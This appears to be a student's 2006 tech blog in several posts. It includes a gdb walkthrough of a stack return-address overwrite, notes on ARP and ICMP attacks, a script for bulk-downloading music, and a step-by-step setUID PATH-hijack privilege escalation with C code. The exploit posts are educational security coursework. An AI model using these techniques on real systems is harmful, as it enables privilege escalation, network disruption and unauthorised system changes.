Hmm so what is the address of ret?
$1 = (char (*)[1]) 0xbf81d4b7
(gdb) disassemble main //Lets see the return address in main
Dump of assembler code for function main:
0x08048368 : push %ebp
0x08048369 : mov %esp,%ebp
0x0804836b : sub $0x28,%esp
0x0804836e : and $0xfffffff0,%esp
0x08048371 : mov $0x0,%eax
0x08048376 : add $0xf,%eax
0x08048379 : add $0xf,%eax
0x0804837c : shr $0x4,%eax
0x0804837f : shl $0x4,%eax
0x08048382 : sub %eax,%esp
0x08048384 : movl $0x0,0xfffffffc(%ebp)
0x0804838b : movl $0x3,0x8(%esp)
0x08048393 : movl $0x64,0x4(%esp)
0x0804839b : movl $0x1,(%esp)
0x080483a2 : call 0x8048360

|----this is the return address. How did I know that? well its the statement
after the function call

0x080483a7 : movl $0x1,0xfffffffc(%ebp)
0x080483ae : mov 0xfffffffc(%ebp),%eax
0x080483b1 : mov %eax,0x4(%esp)
0x080483b5 : movl $0x80484b4,(%esp)
0x080483bc : call 0x80482b0
0x080483c1 : leave
0x080483c2 : ret
End of assembler dump.
(gdb) x 0xbf81d4b8 //Go back up and see the value of ebp...
what's it pointing to? Notice its just below ret

0xbf81d4b8: 0xbf81d4f8
(gdb) x 0xbf81d4b9 //hmm the return address should be some where nearby
0xbf81d4b9: 0xa7bf81d4
(gdb) x 0xbf81d4ba // nah.. this is not the one
0xbf81d4ba: 0x83a7bf81
(gdb) x 0xbf81d4bb //still not there
0xbf81d4bb: 0x0483a7bf
(gdb) x 0xbf81d4bc //BINGO!!
0xbf81d4bc: 0x080483a7
(gdb) print &ret[4] //Now lets find out how far is ret away from the return address
$2 = 0xbf81d4bb "��\203\004\b\001"
(gdb) print &ret[5] //GOT IT
$3 = 0xbf81d4bc "�\203\004\b\001"
Now that we know that ret[5] contains the return address, lets go for the kill. A brute force way would have been to just fill ret with long strings so that the buffer overflows. If we know the the position of a code in the memory we can overwrite the return address to branch to that address instead of back to main. For the sake of simplicity, I'll just skip a statement in main(), so that the output is 0 instead of 1 (i.e.the statement x=1 is skipped).

From the disassembly of main() we know that the return address should be 0x080483ae instead of 0x080483a7. Which means i need to increment the return address by 0x080483ae-0x080483a7=7.

Lets take a look at the code now..

void function(int a, int b, int c)
{
char ret[1];
*(long *) &ret[5] +=7 ;
}
int main()
{
int x;
x = 0;
function(1,100,3);
x = 1;
printf("%d\n",x);
}


*Adapted example from http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html
Ok WTF is *(long *) &ret[5] +=7 ??
Well it turns out that data is stored on word boundaries for efficiency, and we know that word is of the size of long. Hence the above statement dereferences the long data buffer pointed to by a char pointer. Wait for some time till that concept sinks in...
Feeling better now??good..
Now compile it $gcc -o p2 p2.c
and run it
$./p2
0
If you followed everything till this point, you are no longer a newb...

Update: I reffered this article.

Wednesday, October 04, 2006

IP Attacks..

You know that you have taken a great course when you look forward to do each project and the assignments given... Internet Security is one such course. I was supposed to stress test Minix 3 and Linux for vulnerabilies. Specifically I had to attack the ARP, IP and ICMP protocols and find out the vulnerabilities if any. I always thought that this was a waste of time, why on earth will these attacks work?? after all.. these protocols have been there for more than three decades.. how wrong was I!!... This is what I found out :

Attacks Minix 3 Linux
ARP Cache Attack yes yes
IP DoS Attack no no
IP Fragmentation Attack no no
ICMP Attacks

Ping of death no no
Smurf Attack yes yes
Destination Unreachable yes no
Source Quench no somewhat
Redirect yes yes


Out of all the attacks, I find ARP cache poisoning, ICMP redirect and Smurf attacks quite slick. There is no simple method to detect these attacks and anyone can do them (at least you can after reading this blog entry). You don't have to be a cracker with a brain of a rocket scientist to use the publicly available tools.

I used the netwox tool box to conduct the above attacks. Its an amazing collection of 221 tools, each of which can be customized to bring even the most monstrous server to its knees. You can read my documentation of this attack here. This attack reveals some really nasty design flaws in these protocols, sadly changing them means changing the software on a billion computers(i totally made that number up but you get the point right??) on this planet.
Also I must say that out of all the FOSS OSs I have used, I find Minix's source code most well written. If you are a kernel hacker and an object oriented developer at the same time, you will surely appreciate how well written the code is. I find it better than FreeBSD and certainly better than Linux. The Microkernel implementation would also rock your world.
Lastly please don't try these on public networks... your arrest warrant will be stamped before you can reboot your computer. I tried these on my own computers behind a NAT. And BTW.. if you are using Windows, be ready for a bsod.

Saturday, September 16, 2006

Hack your audio collection

DISCLAIMER: The code shown here is purely for educational purposes. The author does not suggest anyone to use this code....he himself hasn't used it. Everything that follows in the next paragraphs is a lie. This is just to demonstrate the versatility of the Perl language. Music piracy is a heinous crime and I urge everyone to pay for all the songs you download. All stunts performed here are done by professionals, please don't try them at home.

Well since this is the first time I am using red fonts on my blog, you would have guessed that I am up to something nasty(keep the disclaimer in mind). Coming right down to business, I wrote a Perl script( with a little BASH littered around) that downloads all the songs of any bollywood movie, fix their weird names and put them nicely in a directory. Also since the id3 tags are intact, they are perfectly well suited to be played from an mp3 player as well as from your computer.

Here's the script. Currently it runs only Linux and needs mp3info and LWP module for Perl installed (which.. if you use Ubuntu/Debian is just an apt-get away). Since they both are there on windoze too, readers are encouraged to go ahead and try it on Windows. Basically what it does is, it just goes to a free mp3 site and downloads all the songs. Later it reads the songs' title on the id3 tag and renames them.
E.g $./mugBolly.pl fanaa
this would create a directory called fanaa and download all the songs from the movie fanaa in that folder. I downloaded 1 GB of bollywood songs yesterday...

I would specifically like to draw your attention to three lines of code that can create wonders

$realname=`mp3info -p\"\%t\" \"$filename\"`;
$realname=~ tr/" "/_/;
$realname=$realname.".mp3";
rename($filename,$realname);
Now simply putting it, this tiny perl script reads the mp3 title from the ID3 tag of the song. The second line replaces spaces with underscores and the last line renames the file. Imagine having gigabytes of songs with stupid names that your friend though were funny.. now you can name them automatically. You can be as creative as you like.. I had a friend who dumped all his music collection in one folder and soon had an unmanageable mammoth collection of songs, I just modified this script a bit which auto-organized the songs into folders named after the album(again from ID3 tags). Dont you love Perl and Linux after this??

Tags:

Saturday, July 08, 2006

10 deadly sins a C++ n00b commits...

I am a passive user of a lot of news groups and communities. I rarely reply and seldom do I ask questions, but I keep an eye open. In case I have a better answer to a question I do jump in, but that is rare.

Of all the groups/communities I'm a member of, C++ groups seems to have the maximum number of flame wars. The reason: People think that the code their compiler compiles is great. Lately I have found myself clenching my teeth and counting till ten after reading a post. Here is my compilation of 10 great sins you can commit while coding in C++ and posting related queries in C++ groups.

  1. Use #include < iostream.h > instead of #include < iostream > : People are not aware of the fact that iostream.h does not provide you with the namespace goodness. They completely trash the warnings generated by any modern compiler. The standards were introduced in 1998...its 2006 people, GET A BRAIN.
  2. Use the old Turbo C++ compiler: Almost all the Indians (I don't know of other people) are taught programming on this compiler. This was just a toy compiler...meant to be a toy compiler. It does not complies with the standards and introduces its own header like conio.h which were never a part of standard C++. There are plenty of free C++ compilers on any imaginable platform. E.g g++, Visual C++ Express, dev C++ etc.
  3. Asking stupid questions like "What will be the output of printf("%d%d%d",++i,i++,++i)" : It obviously depends on the way the parameters will be pushed onto the function stack. The output will be different on different machines. It is really irritating when they ask the same question again and again and are stubborn about an answer just because their compiler gave them that output.
  4. Posting job vacancies: I don't know which part of the sentence "C++ users group" they don't understand.
  5. Posting links: More often than not you will see postings like "Hey check out this cool link" or "awesome video"... I would punch their faces if I could.
  6. BGI graphics: This library was developed for MS-DOS ... I don't know why on earth do universities in India still make students do project on it. Another Turbo C++ induced crap.
  7. int86(): Hail Yashwant Kanetkar for this. Without doubt it was one of the best book for introductory C, but its outdated. Modern operating systems DO NOT provide direct access to the hardware (which was not the case with Win98 and MSDOS).. It might be a good learning tool but thats that. No body uses it professionally. Beginners are all excited about controlling the hardware... turning the keyboard lights, tuning the beeper.. all of us know about that silly function as much as you do so don't expect any help... do expect flames. Also C queries on a C++ group!!!
  8. System( ): this function is like the fail safe. Windows people do system("PAUSE")... new linux programmers do system("clear"). Maybe your executable looks pretty, but its not portable and makes you code less elegant.
  9. Using abusive words: Well this is acceptable sometimes but I have seen queries like... " I have a @#$%%% program which uses some @#$$ library and the damned thing crawls" also some replies like " Who the @#2! you think you are?"... come on guys this is a @#$%$ C++ user group.
  10. n00b questions: E.g "What is a class?", "Who wrote C++?".... Google it out buddy. We are not your tutors.



Tags:,

Friday, May 12, 2006

Google Calculator...

WARNING: For geeks only...

I was toying with the idea of a command line calculator for a long time. Windows does not have one and Linux/*nix has the powerful but ancient bc. So I came up with this nifty perl script which is totally platform agnostic and does command line computations wonderfully... I present you the Gcomp (google computer.. right click and save link).

The kewl thing is that it does all the processing at the google servers and displays you the parsed output. You cant search using it but you can give it any query that google calculater can take (such as 12 cm in feet or 1 USD in INR, sqrt(-4) etc)... the possibilities are endless. Now since this is my first perl program (apart from the other 5 liners I cut paste from the websites)... please dont flame me, any suggestions would highly be appreciated.

I am planning to write a yahoo widget on top of it, but I am not sure when.

Logistics:
It is a pretty simple program. Google has blocked anonymous requests so I masqueraded as a mozilla browser and got the requested queries answered. Next I just parsed the data recieved and displayed it... simple enough. Type $gcomp usage for input formats. And yeah, it is GPLed.

Tags:,

Thursday, February 16, 2006

SetUID.... Where human intellect meets a dead end

While doing my computer security assignment I was really amused to discover PAM. It is a really nifty way to separate security checking from your code. With just a simple config file modification and no change in the source code or binary( and hence no recompilation), you can charge up the security to levels of insanity. By levels of insanity, I mean that you can make the simple su, passwd commands to not only ask for passwords but also retina scans, voice recognition, DNA analysis (all the biometric systems in short) etc... and on a single user system you can do the reverse, i.e. remove all the security.
Then setUID comes along...
For n00bs, setUID is the mechanism that allows the user to run the program as the owner of the program... great for containing access. So when you change your password, the password file and the passwd have root privileges. The only way out in *nix is to elevate the user to the root just for the duration of program execution. But this seemingly innocent mechanism is the root of all evil. At this point windows' user might ask about their OS.... well Windoze does it differently. They have a service for each and every program requiring root privilege. That means that they have pseudo servers running continuously for each service!!! That's crazy cuz for something as infrequent as changing password, I would hate to run a continuous process on my PC. And they can be exploited too.
Here is how I exploited setUID...
  • Suppose there is a file which has its setUID bit set and uses the system() call to do something.
Lets take a dummy file:

#include < unistd.h >
int main(){
system("“ls"”);
return 0;
}
  • Now complile it #gcc dummy.c -o dummy.
  • change the setUID bit... #chmod 4755 dummy.
  • Login as a normal user.
  • Now you are the attacker. Write a simple file that does something evil say copy or overwrite something in the /bin folder. Here is the barebones program for that.
#include < unistd.h >
int main(){
system("“cp somefile //bin//"”);
return 0;
}
  • Compile it and name the output as ls. $gcc somefile.c -o ls
  • Change the Env variable PATH.... $PATH=/home/sridhar/:/bin/ ;export PATH
Run the program dummy as a normal user and BAM... u you have cracked the system. Instead of copying something, I could have opened a root shell and corrupted the whole system.

Now you may argue that why will root user make a program that uses such primitives?? Time and again, tested programs like passwd and the webservers are exploited in this simple way. setUID is inevitable. You need to practice secure programming to stop this from happening... but there are too many venus fly traps. setUID does cover obvious security holes but exposes new ones (the not so obvious types). There are other exploits on setUID too (the more subtler and hence more venomous) but I guess I made my point.

For the past 50 years, the computing community is scrambling to get the perfect security and sandboxing mechanism and we are no closer to the answer now than we were before.